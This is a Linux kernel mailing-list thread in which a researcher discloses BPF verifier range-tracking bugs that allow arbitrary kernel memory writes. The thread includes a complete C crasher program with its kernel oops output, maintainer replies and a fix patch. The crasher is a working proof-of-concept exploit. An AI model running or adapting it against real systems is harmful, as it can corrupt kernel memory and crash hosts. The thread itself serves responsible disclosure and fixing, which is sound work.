* 484611357c19 introduces arbitrary kernel write bug (root-only)
@ 2016-11-09 0:23 Jann Horn
2016-11-09 1:04 ` Andy Lutomirski
` (2 more replies)
0 siblings, 3 replies; 9+ messages in thread
From: Jann Horn @ 2016-11-09 0:23 UTC (permalink / raw)
To: Daniel Borkmann, Alexei Starovoitov, David S. Miller, Josef Bacik
Cc: security, netdev
In 484611357c19 (not in any stable kernel yet), functionality is
introduced that allows root (and afaics nobody else, since nobody else
is allowed to perform pointer arithmetic) to basically write to (and
read from) arbitrary kernel memory. There are multiple bugs in the
validation logic:
- A bitwise AND of values in the ranges [a,b] and [c,d] is assumed to
always result in a value
>= a&b. However, for the combination of ranges [1,1] and [1,2],
this calculates a minimum of 1
while actually, 1&2 is zero. This is the bug that my crasher
(below) triggers.
- a%b is assumed to always be smaller than b-1. However, for b==0,
this will calculate an upper
limit of -1 while the values will actually always be zero.
- I'm not sure about this, but I think that, when only one end of the
range is bounded, the logic will
incorrectly also treat the other end as a bounded, and because of
the usage of bound
placeholders that are smaller than the actual maximum values, this
could be used to perform
out-of-bounds accesses.
The fun part here is that, as soon as the validation is just
off-by-one, arithmetic transformations can be used to turn that into
out-of-bounds accesses at arbitrary offsets. The crasher turns the
off-by-one into a memory write at offset 0x10000000.
Here's the crasher program:
=====================
#define _GNU_SOURCE
#include <err.h>
#include <stdint.h>
#include <linux/bpf.h>
#include <linux/filter.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <asm/unistd_64.h>
#include <sys/types.h>
#include <sys/socket.h>
/* start from kernel */
#define BPF_EMIT_CALL(FUNC) \
((struct bpf_insn) { \
.code = BPF_JMP | BPF_CALL, \
.dst_reg = 0, \
.src_reg = 0, \
.off = 0, \
.imm = (FUNC) }) /* ??? */
#define BPF_MOV32_IMM(DST, IMM) \
((struct bpf_insn) { \
.code = BPF_ALU | BPF_MOV | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })
#define BPF_REG_ARG1 BPF_REG_1
#define BPF_REG_ARG2 BPF_REG_2
#define BPF_REG_ARG3 BPF_REG_3
#define BPF_REG_ARG4 BPF_REG_4
#define BPF_REG_ARG5 BPF_REG_5
#define BPF_PSEUDO_MAP_FD 1
#define BPF_LD_IMM64_RAW(DST, SRC, IMM) \
((struct bpf_insn) { \
.code = BPF_LD | BPF_DW | BPF_IMM, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = (__u32) (IMM) }), \
((struct bpf_insn) { \
.code = 0, /* zero is reserved opcode */ \
.dst_reg = 0, \
.src_reg = 0, \
.off = 0, \
.imm = ((__u64) (IMM)) >> 32 })
#define BPF_ALU32_IMM(OP, DST, IMM) \
((struct bpf_insn) { \
.code = BPF_ALU | BPF_OP(OP) | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })
#define BPF_LD_MAP_FD(DST, MAP_FD) \
BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD)
#define BPF_ALU32_REG(OP, DST, SRC) \
((struct bpf_insn) { \
.code = BPF_ALU | BPF_OP(OP) | BPF_X, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = 0 })
#define BPF_EXIT_INSN() \
((struct bpf_insn) { \
.code = BPF_JMP | BPF_EXIT, \
.dst_reg = 0, \
.src_reg = 0, \
.off = 0, \
.imm = 0 })
/* Memory store, *(uint *) (dst_reg + off16) = src_reg */
#define BPF_STX_MEM(SIZE, DST, SRC, OFF) \
((struct bpf_insn) { \
.code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = 0 })
#define BPF_REG_FP BPF_REG_10
#define BPF_MOV64_REG(DST, SRC) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_MOV | BPF_X, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = 0 })
#define BPF_ALU64_IMM(OP, DST, IMM) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })
#define BPF_MOV64_REG(DST, SRC) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_MOV | BPF_X, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = 0 })
#define BPF_REG_TMP BPF_REG_8
#define BPF_LDX_MEM(SIZE, DST, SRC, OFF) \
((struct bpf_insn) { \
.code = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = 0 })
#define BPF_JMP_IMM(OP, DST, IMM, OFF) \
((struct bpf_insn) { \
.code = BPF_JMP | BPF_OP(OP) | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = OFF, \
.imm = IMM })
#define BPF_MOV64_IMM(DST, IMM) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_MOV | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })
#define BPF_ALU64_REG(OP, DST, SRC) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_OP(OP) | BPF_X, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = 0 })
#define BPF_MOV32_REG(DST, SRC) \
((struct bpf_insn) { \
.code = BPF_ALU | BPF_MOV | BPF_X, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = 0 })
/* end from kernel */
int bpf_(int cmd, union bpf_attr *attrs) {
return syscall(__NR_bpf, cmd, attrs, sizeof(*attrs));
}
void array_set(int mapfd, uint32_t key, uint32_t value) {
union bpf_attr attr = {
.map_fd = mapfd,
.key = (uint64_t)&key,
.value = (uint64_t)&value,
.flags = BPF_ANY,
};
int res = bpf_(BPF_MAP_UPDATE_ELEM, &attr);
if (res)
err(1, "map update elem");
}
int main(void) {
union bpf_attr create_map_attrs = {
.map_type = BPF_MAP_TYPE_ARRAY,
.key_size = 4,
.value_size = 4,
.max_entries = 16
};
int mapfd = bpf_(BPF_MAP_CREATE, &create_map_attrs);
if (mapfd == -1)
err(1, "map create");
array_set(mapfd, 1, 1);
char verifier_log[100000];
struct bpf_insn insns[] = {
// r9 = 1[1,1] (checked)
BPF_MOV64_IMM(BPF_REG_9, 1),
// r0 = 2[?,?]
BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
BPF_MOV64_REG(BPF_REG_TMP, BPF_REG_FP),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_TMP, -4), /* allocate 4 bytes stack */
BPF_MOV32_IMM(BPF_REG_ARG2, 1),
BPF_STX_MEM(BPF_W, BPF_REG_TMP, BPF_REG_ARG2, 0),
BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_TMP),
BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 2),
BPF_MOV64_REG(BPF_REG_0, 0), /* prepare exit */
BPF_EXIT_INSN(), /* exit */
BPF_LDX_MEM(BPF_W, BPF_REG_1, BPF_REG_0, 0),
// r9 = 1[0,1] (checked)
BPF_ALU32_IMM(BPF_MOD, BPF_REG_1, 2),
// r9 = 2[1,2] (checked)
BPF_ALU32_IMM(BPF_ADD, BPF_REG_1, 1),
// r9 = 0[1,2]
BPF_ALU32_REG(BPF_AND, BPF_REG_9, BPF_REG_1),
// r9 = 1[2,3]
BPF_ALU32_IMM(BPF_ADD, BPF_REG_9, 1),
// r9 = 0[1,1]
BPF_ALU32_IMM(BPF_RSH, BPF_REG_9, 1),
// r3 = 1[0, 0]
BPF_MOV32_IMM(BPF_REG_3, 1),
BPF_ALU32_REG(BPF_SUB, BPF_REG_3, BPF_REG_9),
BPF_ALU32_IMM(BPF_MUL, BPF_REG_3, 0x10000000),
BPF_ALU64_REG(BPF_ADD, BPF_REG_0, BPF_REG_3),
BPF_STX_MEM(BPF_W, BPF_REG_0, BPF_REG_TMP, 0),
BPF_MOV64_REG(BPF_REG_0, 0), /* prepare exit */
BPF_EXIT_INSN() /* exit */
};
union bpf_attr create_prog_attrs = {
.prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
.insn_cnt = sizeof(insns) / sizeof(insns[0]),
.insns = (uint64_t)insns,
.license = (uint64_t)"",
.log_level = 1,
.log_size = sizeof(verifier_log),
.log_buf = (uint64_t)verifier_log
};
int progfd = bpf_(BPF_PROG_LOAD, &create_prog_attrs);
if (progfd == -1) {
perror("prog load");
puts(verifier_log);
return 1;
}
puts("ok so far?");
int socks[2];
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks))
err(1, "socketpair");
if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(int)))
err(1, "setsockopt");
if (write(socks[1], "a", 1) != 1)
err(1, "write");
char c;
if (read(socks[0], &c, 1) != 1)
err(1, "read res");
return 0;
}
=====================
Here's the output on my machine:
=====================
[11531.002114] BUG: unable to handle kernel paging request at ffff88021983a370
[11531.002119] IP: [<ffffffff8116db11>] __bpf_prog_run+0xf51/0x12f0
[11531.002125] PGD 2020067
[11531.002126] PUD 2023067
[11531.002127] PMD 0
[11531.002129] Oops: 0002 [#4] SMP
[11531.002131] Modules linked in: cfg80211 nfsd auth_rpcgss nfs_acl
nfs lockd grace fscache sunrpc ppdev sb_edac edac_core joydev pcspkr
snd_intel8x0 serio_raw snd_ac97_codec ac97_bus snd_pcm snd_timer snd
soundcore i2c_piix4 parport_pc parport evbug mac_hid video autofs4
hid_generic usbhid hid psmouse ahci libahci e1000 pata_acpi
[11531.002145] CPU: 0 PID: 1496 Comm: bounds_fail Tainted: G D
4.9.0-rc4 #6
[11531.002146] Hardware name: innotek GmbH VirtualBox/VirtualBox, BIOS
VirtualBox 12/01/2006
[11531.002147] task: ffff880208d654c0 task.stack: ffffc900011f4000
[11531.002148] RIP: 0010:[<ffffffff8116db11>] [<ffffffff8116db11>]
__bpf_prog_run+0xf51/0x12f0
[11531.002150] RSP: 0018:ffffc900011f7a60 EFLAGS: 00010202
[11531.002151] RAX: ffffc900011f7cbc RBX: ffffc90000ced0e0 RCX: ffff88021983a370
[11531.002151] RDX: 0000000000000000 RSI: 0000000000000001 RDI: 0000000000000001
[11531.002152] RBP: ffffc900011f7cd8 R08: ffffc900011f7ad0 R09: 0000000000000300
[11531.002153] R10: ffff88020b401280 R11: 0000000000000000 R12: ffffffff8181e6e0
[11531.002153] R13: 0000000000000000 R14: ffffc900011f7de8 R15: 0000000000000001
[11531.002155] FS: 00007f39b0804700(0000) GS:ffff880213c00000(0000)
knlGS:0000000000000000
[11531.002156] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[11531.002156] CR2: ffff88021983a370 CR3: 000000020998d000 CR4: 00000000000006f0
[11531.002160] Stack:
[11531.002161] 0000000000000000 ffff88021983a370 0000000000000002
ffffc900011f7cbc
[11531.002162] 0000000010000000 ffffc900011f7b10 ffffc900011f7ad0
ffffffff810b1d61
[11531.002164] ffff880208d654c0 ffffc900011f7cbc 0000000000000000
ffffc900011f7cc0
[11531.002165] Call Trace:
[11531.002170] [<ffffffff810b1d61>] ? update_curr+0x71/0x180
[11531.002172] [<ffffffff810ad7ac>] ? __enqueue_entity+0x6c/0x70
[11531.002173] [<ffffffff810b4302>] ? enqueue_entity+0x502/0xd40
[11531.002175] [<ffffffff810ad7ac>] ? __enqueue_entity+0x6c/0x70
[11531.002176] [<ffffffff810b4302>] ? enqueue_entity+0x502/0xd40
[11531.002178] [<ffffffff810b5dbb>] ? check_preempt_wakeup+0x14b/0x210
[11531.002181] [<ffffffff811f3863>] ? __kmalloc_node_track_caller+0x1c3/0x280
[11531.002185] [<ffffffff816d2b8e>] ? __alloc_skb+0x7e/0x280
[11531.002186] [<ffffffff816d0b71>] ? __kmalloc_reserve.isra.37+0x31/0x90
[11531.002188] [<ffffffff816d2b5e>] ? __alloc_skb+0x4e/0x280
[11531.002189] [<ffffffff816d2ba2>] ? __alloc_skb+0x92/0x280
[11531.002191] [<ffffffff816d2dea>] ? alloc_skb_with_frags+0x5a/0x1c0
[11531.002193] [<ffffffff813e3af8>] ? copy_from_iter+0x88/0x370
[11531.002197] [<ffffffff81701c90>] sk_filter_trim_cap+0x70/0x1a0
[11531.002200] [<ffffffff8178cd88>] unix_dgram_sendmsg+0x218/0x660
[11531.002204] [<ffffffff816c9a38>] sock_sendmsg+0x38/0x50
[11531.002205] [<ffffffff816c9ac8>] sock_write_iter+0x78/0xd0
[11531.002208] [<ffffffff812167b4>] __vfs_write+0xc4/0x120
[11531.002210] [<ffffffff81217572>] vfs_write+0xb2/0x1b0
[11531.002212] [<ffffffff812188a6>] SyS_write+0x46/0xa0
[11531.002215] [<ffffffff817f45fb>] entry_SYSCALL_64_fastpath+0x1e/0xad
[11531.002216] Code: 24 c4 0f b6 43 01 48 0f bf 53 02 48 83 c3 08 48
89 c1 c0 e8 04 83 e1 0f 83 e0 0f 48 8b 8c cd 90 fd ff ff 48 8b 84 c5
90 fd ff ff <89> 04 11 0f b6 03 41 ff 24 c4 0f b6 43 01 48 89 c2 c0 e8
04 83
[11531.002231] RIP [<ffffffff8116db11>] __bpf_prog_run+0xf51/0x12f0
[11531.002233] RSP <ffffc900011f7a60>
[11531.002233] CR2: ffff88021983a370
[11531.002235] ---[ end trace 86ae051962a2d276 ]---
=====================
^ permalink raw reply [flat|nested] 9+ messages in thread
* Re: 484611357c19 introduces arbitrary kernel write bug (root-only)
2016-11-09 0:23 484611357c19 introduces arbitrary kernel write bug (root-only) Jann Horn
@ 2016-11-09 1:04 ` Andy Lutomirski
2016-11-09 2:02 ` Josef Bacik
2016-11-09 21:21 ` Josef Bacik
2 siblings, 0 replies; 9+ messages in thread
From: Andy Lutomirski @ 2016-11-09 1:04 UTC (permalink / raw)
To: Jann Horn
Cc: Daniel Borkmann, Alexei Starovoitov, David S. Miller, Josef Bacik,
security@kernel.org, Network Development
On Tue, Nov 8, 2016 at 4:23 PM, Jann Horn <jannh@google.com> wrote:
> In 484611357c19 (not in any stable kernel yet), functionality is
> introduced that allows root (and afaics nobody else, since nobody else
> is allowed to perform pointer arithmetic) to basically write to (and
> read from) arbitrary kernel memory. There are multiple bugs in the
> validation logic:
>
I was curious, so I gave the code a quick read. I also see:
+ /* PTR_TO_MAP_VALUE_ADJ is used for doing pointer math inside of a map
+ * elem value. We only allow this if we can statically verify that
+ * access from this register are going to fall within the size of the
+ * map element.
+ */
+ PTR_TO_MAP_VALUE_ADJ,
shouldn't this document what logical type this is? Is it a pointer?
Is it an offset? (It seems to be checked as though it's a pointer
with a max offset of "max_value", which makes very little sense to
me.)
regs[i].min_value = BPF_REGISTER_MIN_RANGE;
where min_value is a u64 and BPF_REGISTER_MIN_RANGE is negative.
Shouldn't those be s64?
init_reg_state() duplicates reset_reg_range_values().
That's all I've read so far.
^ permalink raw reply [flat|nested] 9+ messages in thread
* Re: 484611357c19 introduces arbitrary kernel write bug (root-only)
2016-11-09 0:23 484611357c19 introduces arbitrary kernel write bug (root-only) Jann Horn
2016-11-09 1:04 ` Andy Lutomirski
@ 2016-11-09 2:02 ` Josef Bacik
2016-11-09 21:21 ` Josef Bacik
2 siblings, 0 replies; 9+ messages in thread
From: Josef Bacik @ 2016-11-09 2:02 UTC (permalink / raw)
To: Jann Horn, Daniel Borkmann, Alexei Starovoitov, David S. Miller
Cc: security, netdev
On 11/08/2016 07:23 PM, Jann Horn wrote:
> In 484611357c19 (not in any stable kernel yet), functionality is
> introduced that allows root (and afaics nobody else, since nobody else
> is allowed to perform pointer arithmetic) to basically write to (and
> read from) arbitrary kernel memory. There are multiple bugs in the
> validation logic:
>
> - A bitwise AND of values in the ranges [a,b] and [c,d] is assumed to
> always result in a value
> >= a&b. However, for the combination of ranges [1,1] and [1,2],
> this calculates a minimum of 1
> while actually, 1&2 is zero. This is the bug that my crasher
> (below) triggers.
Ugh crap. I had this logic right before, but changed it to deal with the case
of -value & -value which would make the min_value -value. Instead if min and
max are both positive then the min should be 0. I'll fix this up and add a
testcase, nice catch.
> - a%b is assumed to always be smaller than b-1. However, for b==0,
> this will calculate an upper
> limit of -1 while the values will actually always be zero.
Yup you're right.
> - I'm not sure about this, but I think that, when only one end of the
> range is bounded, the logic will
> incorrectly also treat the other end as a bounded, and because of
> the usage of bound
> placeholders that are smaller than the actual maximum values, this
> could be used to perform
> out-of-bounds accesses.
Yeah I think you're right, if we have register A min bounded at say
REGISTER_MAX_VALUE, and then have register B not min bounded at all so we
default to the REGISTER_MIN_VALUE we and did a add we could end up thinking the
minimum was 0, when it could be anything. I'll fix this as well.
Thanks for looking at all this, I'll get this fixed up in the morning with test
cases and send it out,
Josef
^ permalink raw reply [flat|nested] 9+ messages in thread
* Re: 484611357c19 introduces arbitrary kernel write bug (root-only)
2016-11-09 0:23 484611357c19 introduces arbitrary kernel write bug (root-only) Jann Horn
2016-11-09 1:04 ` Andy Lutomirski
2016-11-09 2:02 ` Josef Bacik
@ 2016-11-09 21:21 ` Josef Bacik
2016-11-09 22:12 ` Jann Horn
2 siblings, 1 reply; 9+ messages in thread
From: Josef Bacik @ 2016-11-09 21:21 UTC (permalink / raw)
To: Jann Horn, Daniel Borkmann, Alexei Starovoitov, David S. Miller
Cc: security, netdev
On 11/08/2016 07:23 PM, Jann Horn wrote:
> In 484611357c19 (not in any stable kernel yet), functionality is
> introduced that allows root (and afaics nobody else, since nobody else
> is allowed to perform pointer arithmetic) to basically write to (and
> read from) arbitrary kernel memory. There are multiple bugs in the
> validation logic:
>
> - A bitwise AND of values in the ranges [a,b] and [c,d] is assumed to
> always result in a value
> >= a&b. However, for the combination of ranges [1,1] and [1,2],
> this calculates a minimum of 1
> while actually, 1&2 is zero. This is the bug that my crasher
> (below) triggers.
> - a%b is assumed to always be smaller than b-1. However, for b==0,
> this will calculate an upper
> limit of -1 while the values will actually always be zero.
> - I'm not sure about this, but I think that, when only one end of the
> range is bounded, the logic will
> incorrectly also treat the other end as a bounded, and because of
> the usage of bound
> placeholders that are smaller than the actual maximum values, this
> could be used to perform
> out-of-bounds accesses.
>
> The fun part here is that, as soon as the validation is just
> off-by-one, arithmetic transformations can be used to turn that into
> out-of-bounds accesses at arbitrary offsets. The crasher turns the
> off-by-one into a memory write at offset 0x10000000.
>
Can you give this a whirl? It addresses your testcase and the other issues
you've brought up. Thanks
From e47a1de98af2c1bcebd4224f546e3be1fd340b6a Mon Sep 17 00:00:00 2001
From: Josef Bacik <jbacik@fb.com>
Date: Wed, 9 Nov 2016 16:09:52 -0500
Subject: [PATCH] bpf: fix range arithmetic for bpf map access
I made some invalid assumptions with BPF_AND and BPF_MOD that could result in
invalid accesses to bpf map entries. Fix this up by doing a few things
1) Kill BPF_MOD support. This doesn't actually get used by the compiler in real
life and just adds extra complexity.
2) Fix the logic for BPF_AND. If the min value is negative then that is the new
minimum, otherwise it is unconditionally 0.
3) Don't do operations on the ranges if they are set to the limits, as they are
by definition undefined, and allowing arithmetic operations on those values
could make them appear valid when they really aren't.
This fixes the testcase provided by Jann as well as a few other theoretical
problems.
Reported-by: Jann Horn <jannh@google.com>
Signed-off-by: Josef Bacik <jbacik@fb.com>
---
include/linux/bpf_verifier.h | 3 +-
kernel/bpf/verifier.c | 65 ++++++++++++++++++++++++++++----------------
2 files changed, 44 insertions(+), 24 deletions(-)
diff --git a/include/linux/bpf_verifier.h b/include/linux/bpf_verifier.h
index ac5b393..15ceb7f 100644
--- a/include/linux/bpf_verifier.h
+++ b/include/linux/bpf_verifier.h
@@ -22,7 +22,8 @@ struct bpf_reg_state {
* Used to determine if any memory access using this register will
* result in a bad access.
*/
- u64 min_value, max_value;
+ s64 min_value;
+ u64 max_value;
u32 id;
union {
/* valid when type == CONST_IMM | PTR_TO_STACK | UNKNOWN_VALUE */
diff --git a/kernel/bpf/verifier.c b/kernel/bpf/verifier.c
index 9002575..840533a 100644
--- a/kernel/bpf/verifier.c
+++ b/kernel/bpf/verifier.c
@@ -234,8 +234,8 @@ static void print_verifier_state(struct bpf_verifier_state
*state)
reg->map_ptr->value_size,
reg->id);
if (reg->min_value != BPF_REGISTER_MIN_RANGE)
- verbose(",min_value=%llu",
- (unsigned long long)reg->min_value);
+ verbose(",min_value=%lld",
+ (long long)reg->min_value);
if (reg->max_value != BPF_REGISTER_MAX_RANGE)
verbose(",max_value=%llu",
(unsigned long long)reg->max_value);
@@ -1490,7 +1490,7 @@ static void check_reg_overflow(struct bpf_reg_state *reg)
{
if (reg->max_value > BPF_REGISTER_MAX_RANGE)
reg->max_value = BPF_REGISTER_MAX_RANGE;
- if ((s64)reg->min_value < BPF_REGISTER_MIN_RANGE)
+ if (reg->min_value < BPF_REGISTER_MIN_RANGE)
reg->min_value = BPF_REGISTER_MIN_RANGE;
}
@@ -1498,7 +1498,8 @@ static void adjust_reg_min_max_vals(struct
bpf_verifier_env *env,
struct bpf_insn *insn)
{
struct bpf_reg_state *regs = env->cur_state.regs, *dst_reg;
- u64 min_val = BPF_REGISTER_MIN_RANGE, max_val = BPF_REGISTER_MAX_RANGE;
+ s64 min_val = BPF_REGISTER_MIN_RANGE;
+ u64 max_val = BPF_REGISTER_MAX_RANGE;
bool min_set = false, max_set = false;
u8 opcode = BPF_OP(insn->code);
@@ -1534,22 +1535,45 @@ static void adjust_reg_min_max_vals(struct
bpf_verifier_env *env,
return;
}
+ /* If one of our values was at the end of our ranges then we can't just
+ * do our normal operations to the register, we need to set the values
+ * to the min/max since they are undefined.
+ */
+ if (min_val == BPF_REGISTER_MIN_RANGE)
+ dst_reg->min_value = BPF_REGISTER_MIN_RANGE;
+ if (max_val == BPF_REGISTER_MAX_RANGE)
+ dst_reg->max_value = BPF_REGISTER_MAX_RANGE;
+
switch (opcode) {
case BPF_ADD:
- dst_reg->min_value += min_val;
- dst_reg->max_value += max_val;
+ if (dst_reg->min_value != BPF_REGISTER_MIN_RANGE)
+ dst_reg->min_value += min_val;
+ if (dst_reg->max_value != BPF_REGISTER_MAX_RANGE)
+ dst_reg->max_value += max_val;
break;
case BPF_SUB:
- dst_reg->min_value -= min_val;
- dst_reg->max_value -= max_val;
+ if (dst_reg->min_value != BPF_REGISTER_MIN_RANGE)
+ dst_reg->min_value -= min_val;
+ if (dst_reg->max_value != BPF_REGISTER_MAX_RANGE)
+ dst_reg->max_value -= max_val;
break;
case BPF_MUL:
- dst_reg->min_value *= min_val;
- dst_reg->max_value *= max_val;
+ if (dst_reg->min_value != BPF_REGISTER_MIN_RANGE)
+ dst_reg->min_value *= min_val;
+ if (dst_reg->max_value != BPF_REGISTER_MAX_RANGE)
+ dst_reg->max_value *= max_val;
break;
case BPF_AND:
- /* & is special since it could end up with 0 bits set. */
- dst_reg->min_value &= min_val;
+ /* & is special since it's could be any value within our range,
+ * including 0. But if the thing we're AND'ing against is
+ * negative and we're negative then that's the minimum value,
+ * otherwise the minimum will always be 0.
+ */
+ if (min_val < 0 && dst_reg->min_value < 0)
+ dst_reg->min_value = min_t(s64, dst_reg->min_value,
+ min_val);
+ else
+ dst_reg->min_value = 0;
dst_reg->max_value = max_val;
break;
case BPF_LSH:
@@ -1559,24 +1583,19 @@ static void adjust_reg_min_max_vals(struct
bpf_verifier_env *env,
*/
if (min_val > ilog2(BPF_REGISTER_MAX_RANGE))
dst_reg->min_value = BPF_REGISTER_MIN_RANGE;
- else
+ else if (dst_reg->min_value != BPF_REGISTER_MIN_RANGE)
dst_reg->min_value <<= min_val;
if (max_val > ilog2(BPF_REGISTER_MAX_RANGE))
dst_reg->max_value = BPF_REGISTER_MAX_RANGE;
- else
+ else if (dst_reg->max_value != BPF_REGISTER_MAX_RANGE)
dst_reg->max_value <<= max_val;
break;
case BPF_RSH:
- dst_reg->min_value >>= min_val;
- dst_reg->max_value >>= max_val;
- break;
- case BPF_MOD:
- /* % is special since it is an unsigned modulus, so the floor
- * will always be 0.
- */
- dst_reg->min_value = 0;
- dst_reg->max_value = max_val - 1;
+ if (dst_reg->min_value != BPF_REGISTER_MIN_RANGE)
+ dst_reg->min_value >>= min_val;
+ if (dst_reg->max_value != BPF_REGISTER_MAX_RANGE)
+ dst_reg->max_value >>= max_val;
break;
default:
reset_reg_range_values(regs, insn->dst_reg);
--
2.5.5
^ permalink raw reply related [flat|nested] 9+ messages in thread
* Re: 484611357c19 introduces arbitrary kernel write bug (root-only)
2016-11-09 21:21 ` Josef Bacik
@ 2016-11-09 22:12 ` Jann Horn
2016-11-11 0:18 ` [PATCH] bpf: fix range arithmetic for bpf map access Josef Bacik
0 siblings, 1 reply; 9+ messages in thread
From: Jann Horn @ 2016-11-09 22:12 UTC (permalink / raw)
To: Josef Bacik
Cc: Daniel Borkmann, Alexei Starovoitov, David S. Miller, security,
netdev
Can you resend with "git send-email" or so? "git am" says that the
patch is corrupt, likely because of line wrapping.
On Wed, Nov 9, 2016 at 10:21 PM, Josef Bacik <jbacik@fb.com> wrote:
> On 11/08/2016 07:23 PM, Jann Horn wrote:
>>
>> In 484611357c19 (not in any stable kernel yet), functionality is
>> introduced that allows root (and afaics nobody else, since nobody else
>> is allowed to perform pointer arithmetic) to basically write to (and
>> read from) arbitrary kernel memory. There are multiple bugs in the
>> validation logic:
>>
>> - A bitwise AND of values in the ranges [a,b] and [c,d] is assumed to
>> always result in a value
>> >= a&b. However, for the combination of ranges [1,1] and [1,2],
>> this calculates a minimum of 1
>> while actually, 1&2 is zero. This is the bug that my crasher
>> (below) triggers.
>> - a%b is assumed to always be smaller than b-1. However, for b==0,
>> this will calculate an upper
>> limit of -1 while the values will actually always be zero.
>> - I'm not sure about this, but I think that, when only one end of the
>> range is bounded, the logic will
>> incorrectly also treat the other end as a bounded, and because of
>> the usage of bound
>> placeholders that are smaller than the actual maximum values, this
>> could be used to perform
>> out-of-bounds accesses.
>>
>> The fun part here is that, as soon as the validation is just
>> off-by-one, arithmetic transformations can be used to turn that into
>> out-of-bounds accesses at arbitrary offsets. The crasher turns the
>> off-by-one into a memory write at offset 0x10000000.
>>
>
> Can you give this a whirl? It addresses your testcase and the other issues
> you've brought up. Thanks
>
> From e47a1de98af2c1bcebd4224f546e3be1fd340b6a Mon Sep 17 00:00:00 2001
> From: Josef Bacik <jbacik@fb.com>
> Date: Wed, 9 Nov 2016 16:09:52 -0500
> Subject: [PATCH] bpf: fix range arithmetic for bpf map access
>
> I made some invalid assumptions with BPF_AND and BPF_MOD that could result
> in
> invalid accesses to bpf map entries. Fix this up by doing a few things
>
> 1) Kill BPF_MOD support. This doesn't actually get used by the compiler in
> real
> life and just adds extra complexity.
>
> 2) Fix the logic for BPF_AND. If the min value is negative then that is the
> new
> minimum, otherwise it is unconditionally 0.
>
> 3) Don't do operations on the ranges if they are set to the limits, as they
> are
> by definition undefined, and allowing arithmetic operations on those values
> could make them appear valid when they really aren't.
>
> This fixes the testcase provided by Jann as well as a few other theoretical
> problems.
>
> Reported-by: Jann Horn <jannh@google.com>
> Signed-off-by: Josef Bacik <jbacik@fb.com>
> ---
> include/linux/bpf_verifier.h | 3 +-
> kernel/bpf/verifier.c | 65
> ++++++++++++++++++++++++++++----------------
> 2 files changed, 44 insertions(+), 24 deletions(-)
>
> diff --git a/include/linux/bpf_verifier.h b/include/linux/bpf_verifier.h
> index ac5b393..15ceb7f 100644
> --- a/include/linux/bpf_verifier.h
> +++ b/include/linux/bpf_verifier.h
> @@ -22,7 +22,8 @@ struct bpf_reg_state {
> * Used to determine if any memory access using this register will
> * result in a bad access.
> */
> - u64 min_value, max_value;
> + s64 min_value;
> + u64 max_value;
> u32 id;
> union {
> /* valid when type == CONST_IMM | PTR_TO_STACK |
> UNKNOWN_VALUE */
> diff --git a/kernel/bpf/verifier.c b/kernel/bpf/verifier.c
> index 9002575..840533a 100644
> --- a/kernel/bpf/verifier.c
> +++ b/kernel/bpf/verifier.c
> @@ -234,8 +234,8 @@ static void print_verifier_state(struct
> bpf_verifier_state *state)
> reg->map_ptr->value_size,
> reg->id);
> if (reg->min_value != BPF_REGISTER_MIN_RANGE)
> - verbose(",min_value=%llu",
> - (unsigned long long)reg->min_value);
> + verbose(",min_value=%lld",
> + (long long)reg->min_value);
> if (reg->max_value != BPF_REGISTER_MAX_RANGE)
> verbose(",max_value=%llu",
> (unsigned long long)reg->max_value);
> @@ -1490,7 +1490,7 @@ static void check_reg_overflow(struct bpf_reg_state
> *reg)
> {
> if (reg->max_value > BPF_REGISTER_MAX_RANGE)
> reg->max_value = BPF_REGISTER_MAX_RANGE;
> - if ((s64)reg->min_value < BPF_REGISTER_MIN_RANGE)
> + if (reg->min_value < BPF_REGISTER_MIN_RANGE)
> reg->min_value = BPF_REGISTER_MIN_RANGE;
> }
>
> @@ -1498,7 +1498,8 @@ static void adjust_reg_min_max_vals(struct
> bpf_verifier_env *env,
> struct bpf_insn *insn)
> {
> struct bpf_reg_state *regs = env->cur_state.regs, *dst_reg;
> - u64 min_val = BPF_REGISTER_MIN_RANGE, max_val =
> BPF_REGISTER_MAX_RANGE;
> + s64 min_val = BPF_REGISTER_MIN_RANGE;
> + u64 max_val = BPF_REGISTER_MAX_RANGE;
> bool min_set = false, max_set = false;
> u8 opcode = BPF_OP(insn->code);
>
> @@ -1534,22 +1535,45 @@ static void adjust_reg_min_max_vals(struct
> bpf_verifier_env *env,
> return;
> }
>
> + /* If one of our values was at the end of our ranges then we can't
> just
> + * do our normal operations to the register, we need to set the
> values
> + * to the min/max since they are undefined.
> + */
> + if (min_val == BPF_REGISTER_MIN_RANGE)
> + dst_reg->min_value = BPF_REGISTER_MIN_RANGE;
> + if (max_val == BPF_REGISTER_MAX_RANGE)
